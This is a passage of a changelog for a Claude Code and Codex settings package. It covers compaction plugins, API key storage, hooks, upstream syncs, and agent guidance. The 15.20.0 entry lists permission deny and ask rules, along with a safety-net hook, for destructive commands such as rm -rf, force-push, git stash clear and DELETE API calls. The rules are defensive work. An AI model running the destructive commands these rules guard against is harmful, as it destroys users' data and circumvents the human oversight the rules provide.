ENABLE_TOOL_SEARCHdrops fromauto:50toauto:10, so MCP tool schemas defer instead of riding along on every turn. On a 1M-window model the 50% threshold never triggered. Measured in one Fable session: the fixed context floor was ~121K tokens (cache-read prefix on the first turn after compaction) and the first turn after every compaction already sat at 146K to 148K, so the 150K compaction trigger left 46K to 80K of real conversation per window and compaction ran five times in 48 minutes. The floor after this change is not yet measured; check the first-turncache_creation_input_tokenson a fresh session.- The
compaction-triggerplugin (0.2.0) copiesTYPESAFE_API_KEYfrom the settingsenvblock into the process env before each compaction request. The verbatim plugin reads the env first, so a session started before a key rotation kept sending the old key: three of that session's five compactions fell back to the built-in summary on a 401 and took 67 to 70 seconds each instead of 1.2 to 1.4 seconds. Whether$.env.setin one plugin is visible to another plugin's$.env.getin the same session is not yet verified live; the fallback path is unchanged if it is not. - The compaction threshold itself stays at 150K. Widening it was considered and rejected: on Opus and Sonnet it would cross the 200K long-context line, and both compaction paths rewrite everything after the fixed prefix, so fewer, later compactions cost more per turn without saving cache writes.
Files changed: config/10-core.json, plugins/compaction-trigger/hooks/trigger.ts, plugins/compaction-trigger/.claude-plugin/plugin.json, tests/compaction-trigger.test.ts, src/scripts/session-start.ts, docs/settings-reference.md, docs/hooks-reference.md, src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, CHANGELOG.md
[15.21.3] — 2026-09-18
- A TypeSafe key supplied to the installer (
--typesafe-key=<key>or the prompt) is now also written asTYPESAFE_API_KEYinto the settingsenvblock. Since 15.21.0 it went only into the plugin's sensitiveapiKeyoption, which nothing but the compaction plugin can read, so the session banner kept reporting native compaction and no hook or script could use Jev. Later installs keep the value (the env merge is user-wins). Re-runsetup.sh --typesafe-key=<key>to write it on an existing install.
Files changed: src/lib/claude-install-settings.ts, src/lib/install-display.ts, tests/typesafe-key-persist.test.ts, docs/install.md, docs/hooks-reference.md, src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, CHANGELOG.md
[15.21.2] — 2026-09-18
- Hook
iffilters now live on each hook action instead of the matcher group. Claude Code only evaluatesifon the action object, so the group-level filters on the pre-commit, pre-PR, pre-push, and package-install hooks were never applied (the scripts self-gate, so behavior was unchanged, but each spawned on every Bash call). Worse,claude plugin marketplace addandclaude plugin installrewrite settings.json without the unknown group key, which the installer runs after fingerprinting the hooks block, so every session since 15.21.0 started with a hooks-fingerprint mismatch warning. Reproduced on Claude Code 2.1.276 with an isolatedCLAUDE_CONFIG_DIR. Re-runsetup.shto clear the warning.
Files changed: config/40-hooks.json, src/schemas/hooks.ts, src/scripts/pre-commit-tsc.ts, docs/hooks-reference.md, src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, CHANGELOG.md
[15.21.1] — 2026-09-18
- The TypeSafe key prompt now hides input. The 15.21.0 prompt let readline run the terminal in its own raw mode, where readline echoes keystrokes itself and
stty -echohas no effect, so the key appeared on screen. The prompt now reads a plain line with echo off; Ctrl+C still skips. - The installer runs
claude plugin marketplace update cc-settingsbefore installing, so a plugin added in the same release is visible;marketplace addalone does not refresh an existing registration, which is why 15.21.0 could not installcompaction-triggeron upgrade.
Files changed: src/lib/prompts.ts, src/lib/claude-install-settings.ts, src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, CHANGELOG.md
[15.21.0] — 2026-09-18
Long sessions can now compact without losing their text. cc-settings adopts fast-jev-compaction, a Claude Code function-hooks plugin that, at compaction time, asks TypeSafe's Jev model which tool calls and results are still needed and removes only those, keeping every user and assistant message verbatim. Native compaction is a summary; this keeps file paths, error text, and decisions intact.
-
Function hooks enabled.
CLAUDE_CODE_ENABLE_FUNCTION_HOOKS=1in the composed env (early access, Claude Code 2.1.274+).docs/hooks-reference.mdgains a "Function hooks (early access)" section with a plain-language explainer of Jev and the compaction, its cost (input $0.042 per million tokens, output free), and its limits. -
Upstream pinned, trigger replaced. Settings declare the
fast-jev-compactionmarketplace pinned to commite3f262aand enable the plugin with its own percentage trigger disabled (compactAtPercent: 100). A new cc-settings plugin,plugins/compaction-trigger, requests compaction fromturn.completewhencontext.tokenspasses 150,000 (configurable, with a 3-turn backoff), so compaction tracks the 200K working ceiling instead of 60% of a 1M window, which on a 200K model would have summarized every 30K tokens. -
Installer. The full profile registers both marketplaces and installs both plugins through the
claudeCLI, fail-open, skipped for the light profile, underCC_SETTINGS_SKIP_PLUGIN_INSTALL=1, or whenever HOME resolves inside the OS temp directory, which is how every test sandbox looks, so no test can reach the real plugin store or the network. An interactive install prompts once for a TypeSafe key with input hidden;--typesafe-key=<key>supplies it non-interactively. The key is stored through the plugin's sensitiveapiKeyoption in Claude Code's secure storage, never in a managed file, and is redacted from every printed line. Without a key the install says so and compaction stays native. -
Settings schema declares
enabledPluginsandpluginConfigs; the SessionStart banner reports whether verbatim compaction is active; the uninstall summary names the plugins and the removal command. -
Key prompt. Input is hidden through
stty -echoaround a standard readline question, and Ctrl+C or Enter skips the key instead of aborting the install (the first raw-mode version hung under Bun and a Ctrl+C there left a half-copied install that both reinstall and rollback refused; restoring the drifted files from the run's backup tarball clears that state). The plugin summary line names only the plugins that actually installed. Thecompaction-triggerinstall needs this release on GitHub main first, because thecc-settingsmarketplace is fetched from there; on the machine that publishes a release, runclaude plugin marketplace update cc-settings && claude plugin install compaction-trigger@cc-settingsafter the push.
Files changed:
- plugins/compaction-trigger/ (new: manifest, hooks/trigger.ts, types, tsconfig), tests/compaction-trigger.test.ts, tests/plugin-key-redaction.test.ts (new)
- .claude-plugin/marketplace.json, config/10-core.json, src/schemas/settings.ts, schemas/settings.schema.json
- src/setup.ts, src/lib/install-types.ts, src/lib/claude-install-settings.ts, src/lib/install-display.ts, src/lib/install-lifecycle.ts, src/lib/prompts.ts, src/scripts/session-start.ts, setup.sh, setup.ps1
- tests/install-e2e.test.ts, tests/settings-merge.test.ts, tests/plugin-manifest.test.ts, tests/setup-args.test.ts
- README.md, docs/hooks-reference.md, docs/install.md, docs/settings-reference.md, docs/cache-strategy.md, CLAUDE-FULL.md
- package.json, tsconfig.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
- CHANGELOG.md
[15.20.0] — 2026-09-17
Two follow-ups from the usage-insights report, plus the repair they immediately paid for.
git branch -Dandgit stash dropask instead of deny. Both are reflog-recoverable for about 90 days, and they were the two most frequent mid-session interruptions.config/30-permissions.jsonmoves them (andgit branch -d -f) fromdenyto a newasklist, andsafety-net.tsno longer hard-blocks them;git stash clear, force-push, the DELETE API rules, and therm -rfset stay denied. SECURITY.md and the settings reference say why.- Repo-local pre-commit invariants.
.claude/settings.jsonin this repository wires.claude/hooks/pre-commit-invariants.ts, a PreToolUse hook that runs the fast invariant tests (prompt byte ceilings, skill/agent/profile lints, manifests, schemas, docs sync, version drift) before everygit commitand blocks on failure. It is not installed anywhere; it guards this repo's own main branch, which takes direct pushes. The full suite still runs before a PR. - Prompt budgets restored. The first dry run of that hook found that 15.18.0 and 15.19.0 had pushed
AGENTS.mdand the output style past their byte ceilings. Both are trimmed back under budget: the AGENTS.md knowledge sections are merged into one, examples that the docs already carry are gone, and the four newest guardrails are tightened without losing a rule.
Files changed:
- .claude/settings.json, .claude/hooks/pre-commit-invariants.ts (new)
- config/30-permissions.json, src/hooks/safety-net.ts, tests/safety-net.test.ts
- AGENTS.md, output-styles/darkroom.md, SECURITY.md, docs/settings-reference.md, CLAUDE.md
- src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
- CHANGELOG.md
[15.19.0] — 2026-09-17
Six guidance changes from the 2026-09-17 usage-insights report, which found that most interruptions were permission denials, and that two failed sessions were OS-level blockers no iteration rule caught.
- Denied-command handoff (
CLAUDE-FULL.mdAutonomy, Codex adapter): a denied command is never retried, split, or rephrased. It goes into~/.claude/tmp/handoff-<session>.sh, the user gets one! bash <path>line, and work continues on what does not depend on it. Long runs enumerate their privileged commands into that script up front. - Stop-loss on environment blockers (
AGENTS.md,/fix): an OS, device, vendor, or network blocker gets about 20 minutes or 30 tool calls, then a written diagnosis (ruled out with evidence, likely cause, ranked next options) instead of another attempt. - Shell commands (
AGENTS.md): quote globs and paths, absolute paths overcdchains, one destructive step per command so a denial or failure stops exactly one thing. - Swarm git ownership (
/orchestrate,maestro): the lead owns every git operation; subagents never commit, stash, or switch branches. /shipchecks for an existing PR on the branch beforegh pr create.- The clarifying round names which repository, host, machine, or branch a request targets when more than one is in play.
Files changed:
- AGENTS.md, CLAUDE-FULL.md, codex/AGENTS.append.md, agents/maestro.md
- skills/fix/SKILL.md, skills/orchestrate/SKILL.md, skills/ship/SKILL.md
- src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
- CHANGELOG.md
[15.18.0] — 2026-09-17
Non-trivial work now opens with one interactive round of clarifying questions. The guidance used to say "ask only for a decision the user owns", so the interactive question tool was reached for by three skills and rarely otherwise; answering a few concrete questions up front has proven the cheapest way to avoid a wrong build.
- New guardrail in
AGENTS.md, "Clarify Before Full Work Mode": when a task crosses the delegation bar (3+ files, 12+ tool calls, security-sensitive code) or its readings diverge, ask up to 4 questions through the host's interactive tool, each with 2 to 4 options and the recommendation first, then start. One round; read before asking; ask only what the user alone knows. - The Darkroom output style and
CLAUDE-FULL.mdcarry the same rule for Claude Code (AskUserQuestion). The Codex adapter explains thatrequest_user_inputexists only in Plan mode, so a non-trivial task switches to Plan mode (/plan) for the round and back to Pair or Execute mode for the work. /buildgains an ASK verdict between GO and NO-GO;/fixand/refactoropen with a clarify step.- The UserPromptSubmit breadth hook now adds the reminder to its nudge when a prompt crosses the threshold.
Files changed:
- AGENTS.md, CLAUDE-FULL.md, output-styles/darkroom.md, codex/AGENTS.append.md
- skills/build/SKILL.md, skills/fix/SKILL.md, skills/refactor/SKILL.md
- src/hooks/delegation-detector.ts, docs/system-overview.md
- src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
- CHANGELOG.md
[15.17.1] — 2026-09-17
Docs only. The README's "What cc-settings adds" section now compares a vanilla Claude Code or Codex install with a cc-settings install request by request ("fix this bug", "ship it", a force-push, a drizzle-kit push), then lists the pieces with their counts: standards, 38 skills, 10 role agents, 36 hooks on 18 events, model routing, 4 MCP servers, team knowledge, ownership and rollback. docs/system-overview.md gains a short "Compared with a vanilla install" section that points at it.
Files changed:
- README.md, docs/system-overview.md
- src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
- CHANGELOG.md
[15.17.0] — 2026-09-17
team-knowledge was write-only in practice: /share-learning posted notes, but an agent only ever saw a note count at session start and never a title. This release adds a read path and folds the generic notes into the rules and profiles that load anyway.
- The index cache (
~/.claude/tmp/knowledge-index.json, 6h TTL) now stores kind, hook line, and tags per note, parsed from the corpus INDEX.md. The corpus's index builder emits tags on every line (- [kind: name](name.md) — hook · tags: a, b); that format is the contract, documented indocs/knowledge-system.md. - New PreToolUse hook
knowledge-hint.ts(matcherBash|Edit|Write) surfaces up to 3 notes whose tags or slug words match the command or edited file, once per note per session, via theadditionalContextenvelope. Scoring: a curated tag scores 3, a slug-only word 2, a generic word 1, threshold 3; state lives in~/.claude/tmp/knowledge-hints.json, pruned to 30 sessions. Cache-only, never the network, fail-open. - The SessionStart banner now gives the
gh apiread command./fix,/lighthouse,/build, and/shipgain a one-line, fail-open "check the index" step at the point a gotcha would bite. - Folded into cc-settings: frame-loop rules (no layout reads in per-frame callbacks, quantized custom-property writes) in
rules/react-perf.md; "History Belongs in Git, Not in Code" inAGENTS.md;cacheComponentsguidance inprofiles/nextjs.md; GPU resource ownership and the software-renderer mount gate inprofiles/webgl.md; the post-dev-serverAGENTS.mddiff check inrules/git.md. - Corpus cleanup on
darkroomengineering/team-knowledge: four obsolete cc-settings and board-era notes removed, two rewritten to current behaviour, seven folded notes point at their cc-settings copy. This repo's CLAUDE.md now requires rewriting or deleting a note in the same push that closes the bug it documents. - Claude managed-files manifest v10 and Codex runtime manifest v8 carry the two new source files; earlier versions stay frozen.
Files changed:
- src/hooks/knowledge-hint.ts, src/lib/knowledge-hint.ts, tests/knowledge-hint.test.ts (new)
- src/lib/knowledge-index.ts, src/lib/team-knowledge.ts, tests/knowledge-index.test.ts, tests/team-knowledge.test.ts
- config/40-hooks.json
- src/lib/claude-managed-file-manifests.ts, src/lib/codex-runtime-manifests.ts, src/lib/install-source-inventory.ts
- rules/react-perf.md, rules/git.md, profiles/nextjs.md, profiles/webgl.md, AGENTS.md
- skills/fix/SKILL.md, skills/lighthouse/SKILL.md, skills/build/SKILL.md, skills/ship/SKILL.md
- docs/knowledge-system.md, docs/hooks-reference.md, docs/settings-reference.md, CLAUDE.md
- src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
- CHANGELOG.md
[15.16.0] — 2026-09-16
/cc sync now tracks the Codex CLI as a second upstream, since Codex is a first-class install target.
- New
upstream/codex-manifest.jsonrecords the latest stable@openai/codexversion the repo was triaged against (baseline 0.154.0), the Codex surfaces the installer writes or reads (agents/*.tomlfields,rules/darkroom.rules, the plugin manifest and hooks, theconfig.tomlkeyscodex:skill-budgetandmigrate:codex-skillsread), and per-window notes. The surfaces list is reference-only: there is no zod schema for Codex config, so the scanner cannot diff it. bun run upstream:scanfetches both npm packages and reports drift per upstream. CI keeps running it./cc syncgains a Codex track: release notes come fromgh release view rust-v<X> -R openai/codexper stable tag (alpha and Python SDK tags are ignored), a Codex cross-reference table points at the installer files, and Phase 6 bumps both manifests. When only one upstream drifts, the skill runs the remaining phases for that one.tests/plugin-manifest.test.tschecks both manifests parse with semver versions and that the skill documents both.
Files changed:
- upstream/codex-manifest.json (new)
- src/upstream/scan.ts
- skills/cc/SKILL.md
- tests/plugin-manifest.test.ts
- docs/codex.md, CLAUDE.md
- src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
- CHANGELOG.md
[15.15.0] — 2026-09-16
Sync with Claude Code v2.1.273 (from v2.1.270; 2.1.272 was bug fixes only).
Adopted:
omitClaudeMdagent frontmatter (v2.1.271) — optional boolean insrc/schemas/agent.ts, documented indocs/frontmatter-reference.mdand the subagent-context note inCLAUDE-FULL.md. A subagent with it runs without user, project, and local CLAUDE.md while managed policy files still load. No cc-settings agent sets it, because AGENTS.md standards reach subagents through the CLAUDE.md hierarchy; the doc says to restate critical rules in such an agent's prompt.- Three env vars tracked in the manifest and
docs/settings-reference.md:CLAUDE_CODE_GATEWAY_HINT_HEADERS(v2.1.273, opt-in gateway hint request headers),CLAUDE_CODE_AUTO_MODE_SERVER(v2.1.273, server-side auto-mode classifier on Bedrock, Vertex and Foundry now that local is the default), andCLAUDE_CODE_SKIP_FAST_MODE_ORG_CHECK(pre-existing; v2.1.271 makes an API fast-mode rejection stand for the session). modelPricing.multipliermay exceed 1, up to 10, for marked-up internal chargeback (v2.1.271). Schema already loose; docs updated.
Docs-only:
- Dynamic workflow medium guideline is under 10 agents, down from 15, and Pro plans default to small (v2.1.271):
skills/orchestrate/SKILL.md,skills/audit/SKILL.md,workflowSizeGuidelinerow. - Auto mode: inline
!shell commands in skills follow default-mode permission rules, subagent hand-back is classifier-reviewed, and Monitor watches always carry a deadline with thepersistentoption removed (v2.1.271). SendMessageto a session that holds the message for approval now leaves a delivery notice (v2.1.271).permissions.blockReadsOutsideWorkingDirectoriesalso keeps a repo-chosen memory directory out of the prompt (v2.1.273).OTEL_LOG_TOOL_DETAILSadds real agent, skill, plugin and MCP server names to cost metrics (v2.1.273).
Deletions / Native-now-redundant: none. The Bash permission-checker fixes and the 2.1.268 revert do not overlap permissions-check.ts.
Fix: AGENTS.md had been over its 16 KiB always-loaded ceiling since v15.14.1 added the Swift animation bullet, failing tests/plugin-manifest.test.ts. Tightened that bullet and six other paragraphs without dropping a rule; the file is now 3 bytes under.
Files changed:
- src/schemas/agent.ts
- upstream/claude-code-manifest.json
- docs/frontmatter-reference.md
- docs/settings-reference.md
- CLAUDE-FULL.md
- skills/orchestrate/SKILL.md
- skills/audit/SKILL.md
- AGENTS.md
- src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
- CHANGELOG.md
[15.14.2] — 2026-09-16
codex:skill-budgetestimated listing overhead at 48 characters per skill; a live Codex run showed 12 descriptions still trimmed while the report said "under budget". Back-solved from Codex's ownbudget_limitline, the overhead is about 57 characters per entry, so the estimator now uses 64 and an under-budget verdict means Codex renders every description whole.
[15.14.1] — 2026-09-16
- The Swift animation frame-rate bar now reaches Codex and every other AGENTS.md consumer: a
short Performance bullet in
AGENTS.mdcarries the rule's decisions and points atrules/swift-animation.mdfor the full text. Codex has no path-scoped rules, so this is the portable form.
[15.14.0] — 2026-09-16
- Codex "skill descriptions were shortened" now has a measuring tool and correct guidance.
bun run codex:skill-budgetreadsconfig.toml, walks every enabled plugin and user skill directory, and reports description characters per source against the budget, the longest descriptions (trimmed first), and which single plugin would cover the overshoot if disabled. It exits 1 when over and never editsconfig.toml. The docs previously told users to raise[skills] max_context_tokens; verified on codex-cli 0.154.0 that the key only lowers the 2% cap (10,000 tokens ongpt-6-astra), sodocs/codex.md,docs/troubleshooting.md, and thelint-skillsceiling comment now say so. Claude manifest version 9, Codex runtime manifest version 7. - New
rules/swift-animation.md, loaded for.swiftfiles: SwiftUI animations at the display's maximum frame rate, distilled from WWDC23 session 10156 "Explore SwiftUI animation" (built-in animatable modifiers over customAnimatable, springs that merge and keep velocity, scoped.animationmodifiers against accidental animations) plus the ProMotion unlock keys from Apple's docs and an Instruments verification bar./audit motionpoints Swift targets at it. Full profile only; light installs carry no rules. - Default Claude Code to the classic renderer so terminal-native double-click selection and
scrollback remain available. Stop forcing fullscreen with
CLAUDE_CODE_NO_FLICKER; updates remove the old managed value when it still matches the installation baseline, while preserving explicit user renderer preferences. Correct the mouse-capture documentation.
[15.13.0] — 2026-09-13
- Align delegation between hosts so a cc-settings user gets the same behavior in Claude Code
and standalone Codex. Claude Code's delegation threshold drops from 20 to 12 tool calls,
matching Codex (3+ files, 12+ tool calls, or security-sensitive code). The Codex adapter
(
codex/AGENTS.append.md) now carries the same routing table, the same MUST rows (tests, security, deslop, 3+ independent workstreams in parallel), the override-with-a-reason rule, the delegate-together-and-keep-working rule, resume-instead-of-respawn, and the implementer briefing contract, expressed in Codex's nativespawn_agent/send_message/followup_taskterms. Writers still share one working tree on Codex, so that difference stays documented rather than papered over.
[15.12.0] — 2026-09-13
Synced with Claude Code v2.1.270 (from v2.1.266). 2.1.270 is a single permission regression fix; the substantive entries are in 2.1.267 through 2.1.269. Three settings keys adopted, six env vars tracked, no dedupe.
Adopted:
maxEffortLevel(2.1.267) insrc/schemas/settings.ts, the manifest, anddocs/settings-reference.md: caps effort on every provider, top-level or per model under the newmodelSettingscontainer, which is modelled as a loose record so per-model keys survive parse. Matters because teams that pinCLAUDE_CODE_EFFORT_LEVELnow have a hard ceiling instead of a default.bashEditDiffEnabled(2.1.269), same three files: the Bash tool result carries a diff of the files the command changed. Documented, not enabled inconfig/10-core.json.gatewayInternalNetworks(2.1.268, managed), same three files: the org's own public IPv4 CIDRs allowed for gateway/login. Added for schema parity with the other managed keys.- Six env vars in the manifest and the env table:
OTEL_METRICS_INCLUDE_REPOSITORY,CLAUDE_CODE_GATEWAY_MODEL_DISCOVERY_TIMEOUT_MS,CLAUDE_CODE_WORKFLOW_MAX_CONCURRENT_AGENTS,CLAUDE_CODE_BG_TASKS_REPORT_RUNNING,CLAUDE_CODE_RESUME_INTERRUPTED_TURN_MAX_AGE_MS(2.1.269),CLAUDE_CODE_WEBFETCH_DEADLINE_MS(2.1.268).skills/orchestrate/SKILL.mdnow says the 16-agent workflow concurrency cap is raisable. - Docs:
/output-style [name]noted inCLAUDE-FULL.md(2.1.269);effort:frontmatter now honored on Fable 5 and Opus 4.7/4.8 indocs/frontmatter-reference.md(2.1.267);rules/git.mdnotes the native attribution reminder now yields to the no-attribution rule (2.1.269).
Deletions / Native-now-redundant: none. claude plugin eval scores plugin eval suites and does not overlap /autoresearch.
Files changed:
- src/schemas/settings.ts
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- docs/frontmatter-reference.md
- skills/orchestrate/SKILL.md
- CLAUDE-FULL.md
- rules/git.md
- src/setup.ts
- package.json
- .claude-plugin/plugin.json
- .codex-plugin/plugin.json
- CHANGELOG.md
[15.11.0] — 2026-09-12
- Route Codex calls by task shape:
codex execdefaults to GPT-5.6 Sol,codex reviewandcodex askto GPT-6 Astra, with--modelandCODEX_EXEC_MODEL/CODEX_REVIEW_MODEL/CODEX_ASK_MODELoverrides. The bridge refuses to run from inside a Codex session. - Give every native Codex agent a
modelderived from its Claude tier: judgment roles on Astra, execution roles on Sol. One routing table now drives both products. - Add the Codex-to-Claude reverse bridge:
claude-run.ts reviewandaskcall headless Claude Code (Opus 5 by default) read-only, refuse inside a Claude session, and report when the Codex sandbox has no network. A Codex-onlyclaude-verifieragent wraps it. Both product manifests move to a new version to own the new files.
[15.10.0] — 2026-09-12
- Narrow all 38 skill descriptions to the situations each skill handles, dropping topic-word triggers and most skip clauses, per OpenAI's GPT-6 Astra guidance on over-broad activation. Total description bytes drop from 8674 to 7408; the lint ceiling tightens to 7424.
- Soften the portable AGENTS.md stopping rules: after two failed attempts, continue with the best alternative unless the choice changes the user's direction; local checks are granted up front instead of nagged; stating a plan is no longer read as waiting for approval.
[15.9.0] — 2026-09-12
- Adapt the Codex bridge to GPT-6 Astra, following OpenAI's guidance on skills and prompts for
it.
codex execnow wraps every task in a completion contract (run the repo's local checks, fix what the change broke, do not stop after a first implementation, leave the diff uncommitted, report what was verified).codex reviewstates the diff and the review contract instead of scriptinggit statusandgit diffsteps. - Add persistence and boundary guidance to the standalone Codex adapter and to every native role agent: define done before starting, run local checks without asking at each step, and treat "ask first" language as covering destructive or irreversible actions only.
- Document how to write tasks and
AGENTS.mdinstructions for GPT-6 Astra in the Codex docs and the/codexskill.
[15.8.1] — 2026-09-11
- Preserve personal settings across reinstalls by recording team contributions separately from merged snapshots. Serialize installer lock transitions and refresh isolated Git indexes so auto-update recognizes clean checkouts.
- Capture binary checkpoint changes and validate restore material before resetting files. Isolate freeze boundaries by session, normalize removal targets, redact quoted and escaped credential assignments, and require generated ownership stamps before replacing project instructions.
- Resolve renamed imports and generic method references in codemap caller queries; discover
.mjsand.cjssources without a tsconfig and include them in change impact. - Split installer responsibilities into bounded modules, share the explicit current runtime inventory, and ship the audit performance resources in both product installations while preserving historical ownership manifests.
- Correct test-runner selection, optional build gates, SSR-safe hook guidance, animation cleanup, JSON-LD escaping, and path-containment examples. Align runtime and installer documentation with the corrected behavior.
[15.8.0] — 2026-09-09
Synced with Claude Code v2.1.266 (from v2.1.260). 2.1.262 and 2.1.264 have no changelog entry and 2.1.263 lists only "Bug fixes and reliability improvements"; the substantive entries are in 2.1.261 and 2.1.265. Two settings keys adopted, one key marked inert, one native command folded into the consolidate skill. This release also carries the unreleased cleanup below.
Adopted:
bashOutputMaxCharsandtaskOutputMaxChars(upstream 2.1.261) insrc/schemas/settings.ts, the manifest, anddocs/settings-reference.md. Positive integers up to 128000 that raise how much Bash and background-task output reaches the model inline before the rest spills to a file. Not set inconfig/10-core.json; it is a per-user knob.keybindingFlavoris inert since upstream 2.1.261 (the prompt's word-editing keys always match Bash now). The schema keeps the key so files written for v2.1.238–v2.1.260 still parse; the docs say so.
Native-now-redundant:
/skill-doctor(upstream 2.1.261) measures which loaded skills went unused and their context cost. Theconsolidateskill's "remove unused skills" step now points at it instead of guessing;MANUAL.mdmentions it next to/statusand/hooks. Nothing deleted.
Skipped: --append-subagent-system-prompt-file, --plugin-dir folder-of-plugins, the 1 GB tool-result cap (no config surface); CLAUDE_CODE_USE_GATEWAY regression and fix (env vars are reference-only, never set here); prompt-cache fixes for resumed subagents, teammates, and forked skills, the /context local estimate, the rm -rf prompt hardening, the auto-mode diagram-URL rule (behavior only); gateway, Bedrock, Vertex, Remote Control, Windows, VSCode, plugin-marketplace, and MCP SSE-fallback entries.
Files changed:
src/schemas/settings.ts,schemas/settings.schema.jsonupstream/claude-code-manifest.jsondocs/settings-reference.mdskills/consolidate/SKILL.mdMANUAL.mdsrc/setup.ts,package.json,.claude-plugin/plugin.json,.codex-plugin/plugin.jsonCHANGELOG.md
Cleanup (previously unreleased):
Removed unused parallelmax and per-tool failure counters, unread skill markers, unused Node package-manager detection, and the always-success provenance stub. Tool cadence now runs only for Bash and Agent calls; review-queue and signature tracking remain. Removed conflicting editing/review instructions, false React batching advice, obsolete defer guidance, and overstated npm-installer guarantees.
Fixed three audit findings: the safety-net checks every removal operand, MCP reinstalls retain unknown user fields, and custom-path hook audits verify the selected installation's source manifest. Existing cleanup for retired state and checksum verification remain intact.
[15.7.0] — 2026-09-04
Synced with Claude Code v2.1.260 (from v2.1.257). 2.1.258 was two fixes; 2.1.259 and 2.1.260 carried one managed settings key and one statusline payload extension for us. No dedupe this round.
Adopted:
managedMcpServers(upstream 2.1.259) insrc/schemas/settings.ts, the manifest, anddocs/settings-reference.md. Org-delivered HTTP/SSE MCP servers as an object keyed by server name in the.mcp.jsonmcpServersshape; modelled with the sharedMcpServersrecord. The binary honors it only from managed settings and exempts it fromallowedMcpServers/deniedMcpServers, which now govern user-added servers only.prompt_cache.last_miss_causeandprompt_cache.miss_causes(upstream 2.1.260) insrc/hooks/statusline.ts. When the ♻ chip readscold, it now appends the diagnosed cause, e.g.♻42% cold ttl_expired_1h, so a TTL expiry is distinguishable from a tools or system-prompt change the user triggered.
Docs:
docs/settings-reference.md:allowedMcpServersscope narrowed to user-added servers (2.1.259); statusline note describes the cause suffix.CLAUDE-FULL.md:/efforton Fable 5.1 no longer invalidates the prompt cache mid-session (2.1.260).
Skipped: --permission-prompts none, claude plugin validate --json, /diff, /reload-plugins in headless, /advisor text form (no config surface); the model: fable [1m] fix; earlier 1M auto-compact and the removed one-hour subagent background limit (behavior only); GitLab (pr.kind, glab mr); gateway, Bedrock, VSCode, Remote Control, and remaining fixes.
Files changed:
src/schemas/settings.ts,schemas/settings.schema.jsonsrc/hooks/statusline.tsupstream/claude-code-manifest.jsondocs/settings-reference.mdCLAUDE-FULL.mdCHANGELOG.md,package.json,.claude-plugin/plugin.json,.codex-plugin/plugin.json,src/setup.ts
[15.6.2] — 2026-09-04
profiles/react-native.md gains a "Release & TestFlight" section. The profile previously ended at eas submit --platform ios, which reaches only internal tester groups and says nothing about versioning; that gap produced a closed-version rejection and non-monotonic build numbers across five Expo apps on 2026-09-04.
- Freeze the marketing version during a beta and bump only the build number; only the first build per version string is reviewed, and a version that shipped to the App Store is closed for beta along with everything below it.
eas.jsonuses"appVersionSource": "remote"withautoIncrement: trueso build numbers stay monotonic.- An EAS Workflow
testflightjob onapp_store_connect.build_uploaddistributes every upload to the "Public Beta" external group withsubmit_beta_review: true;eas submit --groupscannot. - Pre-implementation checklist gains a matching item. Shared copy lives in team-knowledge as
testflight-beta-versioning-and-eas-distribution.
[15.6.1] — 2026-09-02
Prompt audit against Claude Fable 5.1: removed instructions written for models that needed more pushing, and the hook text that repeated them every few tool calls.
output-styles/darkroom.mdno longer suppresses closing summaries or caps lists at five; it asks for a summary when a message has several outcomes and for lists that stay scannable.rules/git.mddrops the five-bullet PR cap for the same reason.CLAUDE-FULL.mdreplaces the banned-phrase list in the Voice section with a positive description of the register; the no-em-dash house rule stays. Version-number parentheticals removed there and inskills/orchestrate/SKILL.md.tool-cadence.tsno longer injects the "Delegation check" reminder or the follow-up "Delegation violation" soft block; the streak counter still runs. The review-queue nudge is now one line with the count and the limit.post-failure.tsno longer injects "Tool X has failed N times";escalate-model.tsalready covers repeated failures by signature.agents/planner.mddrops the "ALWAYS start by analyzing" booster;agents/deslopper.mddrops the filled-in example report (the template stays);skills/autoresearch/SKILL.mdreplaces the STRENGTHEN mutation (which manufactured MUST/ALWAYS wording) with CLARIFY;skills/tldr/SKILL.mdscopes thelanguagerule to the opt-in llm-tldr engine, since the default engine detects the language itself.
[15.5.0] — 2026-09-01
Synced with Claude Code v2.1.257 (from v2.1.247), moved the default session model to Claude Fable 5.1, and adapted the prompt surface to it. Of the ten upstream releases, 2.1.248, 2.1.251, 2.1.252, and 2.1.257 carried substance; the rest were "bug fixes and reliability improvements". No dedupe this round — nothing upstream subsumed a script we maintain.
Adopted:
PreModelSwitch/PostModelSwitchhook events (upstream 2.1.251) insrc/schemas/hooks.tsand the manifest, plus a newsrc/hooks/model-switch-guard.tswired onPreModelSwitchwith matcher.*fable.*|.*mythos.*: when the cached usage is ≥95% it answersaskwith the pool numbers; at the critical band it answersallowwith an annotation; otherwise it is silent. It never denies — the user owns the switch — and it does exactly one cached read because a timed-out PreModelSwitch hook blocks the switch (timeout pinned to 5s). Companion to the Fable 5.1 default below.- Statusline
prompt_cachepayload (upstream 2.1.251):src/hooks/statusline.tsrenders a ♻NN% cache-hit-ratio chip after the ⚡ quota chip (green ≥80%, yellow ≥50%, red below;coldwhen the prefix expired; hidden until three requests).rate_limits.spend_limittyped for gateway users, no visual yet. - New settings keys accepted by the strict schema:
timeFormat,timeZone,permissions.blockReadsOutsideWorkingDirectories(2.1.257),desktopSessionCleanupPeriodDays(2.1.248); agent frontmatterexperimental.cacheTtl(2.1.248); env varsCLAUDE_CODE_RESTRICTED,CLAUDE_CODE_SUBAGENT_MODEL_FORCE,SELF_HOSTED_RUNNER_CLIENT_LABELin the manifest anddocs/settings-reference.md. - Managed-file manifest version 5 → 6 so the new hook reaches existing installs;
emitHookSpecificOutputhelper insrc/lib/hook-runtime.tsfor hooks whose output carries a decision. - Docs follow the 2.1.251 semantics change for
